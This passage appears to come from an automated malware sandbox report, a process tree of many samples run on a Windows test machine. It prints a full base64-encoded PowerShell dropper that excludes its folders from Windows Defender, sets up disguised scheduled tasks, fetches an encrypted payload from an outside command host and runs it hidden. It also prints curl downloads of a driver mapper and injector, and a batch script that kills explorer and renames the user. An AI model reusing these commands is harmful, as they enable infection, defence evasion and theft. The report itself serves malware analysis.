mAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3992
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:2176
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:5096
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:1976
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:1396
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:1284
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:5788
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:5512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      PID:4828
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
      4⤵
      PID:6728
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:6708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      PID:6752
- C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\8b6def08281f6af4\ScreenConnect.ClientSetup.msi"
    3⤵
    PID:2360
- C:\Users\Admin\AppData\Local\Temp\Files\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"
  2⤵
  PID:4200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareogfn.dll https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/SonyGamaManager.dll --silent > nul 2>&1
    3⤵
    PID:3800
  - - C:\Windows\system32\curl.exe
      curl -o C:\Windows\Temp\dwareogfn.dll https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/SonyGamaManager.dll --silent
      4⤵
      PID:2392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\injectorOld.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/injectorOld.exe --silent > nul 2>&1
    3⤵
    PID:2776
  - - C:\Windows\system32\curl.exe
      curl -o C:\Windows\Temp\injectorOld.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/injectorOld.exe --silent
      4⤵
      PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\driver.sys https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/driver.sys --silent > nul 2>&1
    3⤵
    PID:2868
  - - C:\Windows\system32\curl.exe
      curl -o C:\Windows\Temp\driver.sys https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/driver.sys --silent
      4⤵
      PID:3964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\mapper.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/kdmapper_Release.exe --silent > nul 2>&1
    3⤵
    PID:3364
  - - C:\Windows\system32\curl.exe
      curl -o C:\Windows\Temp\mapper.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/kdmapper_Release.exe --silent
      4⤵
      PID:2564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareinj.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/pclient.exe --silent > nul 2>&1
    3⤵
    PID:1112
  - - C:\Windows\system32\curl.exe
      curl -o C:\Windows\Temp\dwareinj.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/pclient.exe --silent
      4⤵
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5820
- C:\Users\Admin\AppData\Local\Temp\Files\lmix.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\lmix.exe"
  2⤵
  PID:1168
- C:\Users\Admin\AppData\Local\Temp\Files\64.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\64.exe"
  2⤵
  PID:1576
- C:\Users\Admin\AppData\Local\Temp\Files\rickroll.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rickroll.exe"
  2⤵
  PID:976
- C:\Users\Admin\AppData\Local\Temp\Files\google.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\google.exe"
  2⤵
  PID:3764
- - C:\Program Files (x86)\GUM8795.tmp\GoogleUpdate.exe
    "C:\Program Files (x86)\GUM8795.tmp\GoogleUpdate.exe" /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={F055F91B-BB9B-4663-B67C-722DACD82983}&lang=en-GB&browser=4&usagestats=0&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"
    3⤵
    PID:2704
  - - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc
      4⤵
      PID:4828
  - - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver
      4⤵
      PID:4672
    - - C:\Program Files (x86)\Google\Update\1.3.33.17\GoogleUpdateComRegisterShell64.exe
        
        "C:\Program Files (x86)\Google\Update\1.3.33.17\GoogleUpdateComRegisterShell64.exe"
        5⤵
        
        PID:336
    - - C:\Program Files (x86)\Google\Update\1.3.33.17\GoogleUpdateComRegisterShell64.exe
        
        "C:\Program Files (x86)\Google\Update\1.3.33.17\GoogleUpdateComRegisterShell64.exe"
        5⤵
        
        PID:2212
    - - C:\Program Files (x86)\Google\Update\1.3.33.17\GoogleUpdateComRegisterShell64.exe
        
        "C:\Program Files (x86)\Google\Update\1.3.33.17\GoogleUpdateComRegisterShell64.exe"
        5⤵
        
        PID:5064
  - - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zMy4xNyIgc2hlbGxfdmVyc2lvbj0iMS4zLjMzLjE3IiBpc21hY2hpbmU9IjEiIHNlc3Npb25pZD0iezFEODdEODRDLUE1MDgtNDdGMS1CQ0M2LTQxQkNEMzk3MDUwMn0iIGluc3RhbGxzb3VyY2U9InRhZ2dlZG1pIiByZXF1ZXN0aWQ9IntCMzUzMzg1Ni03RDc3LTRENDctQTZCMi1CMUNBNkYyODY0QTZ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IHBoeXNtZW1vcnk9IjE2IiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjI2MTAwLjE3NDIiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins0MzBGRDREMC1CNzI5LTRGNjEtQUEzNC05MTUyNjQ4MTc5OUR9IiB2ZXJzaW9uPSIxNDEuMC43MzQwLjAiIG5leHR2ZXJzaW9uPSIxLjMuMzMuMTciIGxhbmc9ImVuLUdCIiBicmFuZD0iIiBjbGllbnQ9IiIgaWlkPSJ7RjA1NUY5MUItQkI5Qi00NjYzLUI2N0MtNzIyREFDRDgyOTgzfSI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIyNzkwIi8-PC9hcHA-PC9yZXF1ZXN0Pg
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5528
  - - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={F055F91B-BB9B-4663-B67C-722DACD82983}&lang=en-GB&browser=4&usagestats=0&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{1D87D84C-A508-47F1-BCC6-41BCD3970502}"
      4⤵
      PID:1240
- C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
  2⤵
  PID:4952
- C:\Users\Admin\AppData\Local\Temp\Files\donut.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"
  2⤵
  PID:2624
- C:\Users\Admin\AppData\Local\Temp\Files\msf.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\msf.exe"
  2⤵
  PID:5400
- C:\Users\Admin\AppData\Local\Temp\Files\4J8576A0E8V3.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\4J8576A0E8V3.exe"
  2⤵
  PID:5580
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe"
    3⤵
    PID:1088
- C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"
  2⤵
  PID:1616
- C:\Users\Admin\AppData\Local\Temp\Files\safman_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\safman_setup.exe"
  2⤵
  PID:1148
- - C:\Users\Admin\AppData\Local\Temp\is-KVFUU.tmp\safman_setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-KVFUU.tmp\safman_setup.tmp" /SL5="$60268,8627077,790528,C:\Users\Admin\AppData\Local\Temp\Files\safman_setup.exe"
    3⤵
    PID:336
- C:\Users\Admin\AppData\Local\Temp\Files\000.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\000.exe"
  2⤵
  PID:3024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""
    3⤵
    PID:1244
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im explorer.exe
      4⤵
      Kills process with taskkill
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:3716
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic useraccount where name='Admin' set FullName='UR NEXT'
      4⤵
      PID:4752
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic useraccount where name='Admin' rename 'UR NEXT'
      4⤵
      PID:5744
- C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe"
  2⤵
  PID:2060
- - C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe"
    3⤵
    PID:4212
- C:\Users\Admin\AppData\Local\Temp\Files\ledshow1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ledshow1.exe"
  2⤵
  PID:3920
- C:\Users\Admin\AppData\Local\Temp\Files\btpc.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\btpc.exe"
  2⤵
  PID:4184
- C:\Users\Admin\AppData\Local\Temp\Files\RustMeDebyg.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\RustMeDebyg.exe"
  2⤵
  PID:1296
- C:\Users\Admin\AppData\Local\Temp\Files\EDMSLauncherSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\EDMSLauncherSetup.exe"
  2⤵
  PID:5768
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM EdmsLauncher.exe
    3⤵
    - Kills process with taskkill
    PID:6012
- - C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe
    "C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"
    3⤵
    PID:5936
  - - C:\Windows\SysWOW64\netsh.exe
      "netsh" http show sslCert ipport =0.0.0.0:15002
      4⤵
      PID:2256
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\System32\netsh.exe" http delete sslCert ipport =0.0.0.0:15002
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\System32\netsh.exe" http add sslcert ipport = 0.0.0.0:15002 certhash = 873ba9adcf0babcf88bef9a12004a41ea9b49274 appid = "{9C2B08E6-A284-4B0C-A742-392C203C90F0}"
      4⤵
      PID:3428
  - - C:\Windows\SysWOW64\netsh.exe
      "netsh" http show urlacl url = https://+:15002/EdmsLauncher/
      4⤵
      PID:4856
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\System32\netsh.exe" http add urlacl url=https://+:15002/EdmsLauncher/ user=TUYTTRXL\Admin
      4⤵
      PID:3892
- C:\Users\Admin\AppData\Local\Temp\Files\ProcessHide32.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ProcessHide32.exe"
  2⤵
  PID:2512
- C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"
  2⤵
  PID:5760
- - C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"
    3⤵
    PID:1360
- C:\Users\Admin\AppData\Local\Temp\Files\jd127.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\jd127.exe"
  2⤵
  PID:3808
- C:\Users\Admin\AppData\Local\Temp\Files\kkkkkkkksieopelloptrf.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\kkkkkkkksieopelloptrf.exe"
  2⤵
  PID:5024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc"
    3⤵
    PID:2760
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffe1447c728,0x7ffe1447c734,0x7ffe1447c740
      4⤵
      PID:1304
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,6778220388238753522,17418821334387894951,262144 --field-trial-handle=1868,i,10409913294185101790,13558860356343456270,262144 --variations-seed-version --mojo-platform-channel-handle=1864 /prefetch:2
      4⤵
      PID:5924
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc" --force-high-res-timeticks=disabled --metrics-shmem-handle=1936,i,18069015798042161316,3321317896334439880,524288 --field-trial-handle=1868,i,10409913294185101790,13558860356343456270,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:11
      4⤵
      System Time Discovery
      PID:2232
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc" --force-high-res-timeticks=disabled --metrics-shmem-handle=2088,i,5204779473519527380,17655321125290052368,524288 --field-trial-handle=1868,i,10409913294185101790,13558860356343456270,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:13
      4⤵
      PID:5660
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2860,i,12086471825752876385,3193811383373871391,2097152 --field-trial-handle=1868,i,10409913294185101790,13558860356343456270,262144 --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:1
      4⤵
      PID:1472
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2876,i,11066573836798242503,10148261379637770398,2097152 --field-trial-handle=1868,i,10409913294185101790,13558860356343456270,262144 --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:1
      4⤵
      PID:3152
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba31fxdc.rgc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3060,i,1010225037929412491,10131961870049134156,2097152 --field-trial-handle=1868,i,10409913294185101790,13558860356343456270,262144 --variations-seed-version --mojo-platform-channel-handle=3108 /prefetch:1
      4⤵
      PID:1748
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
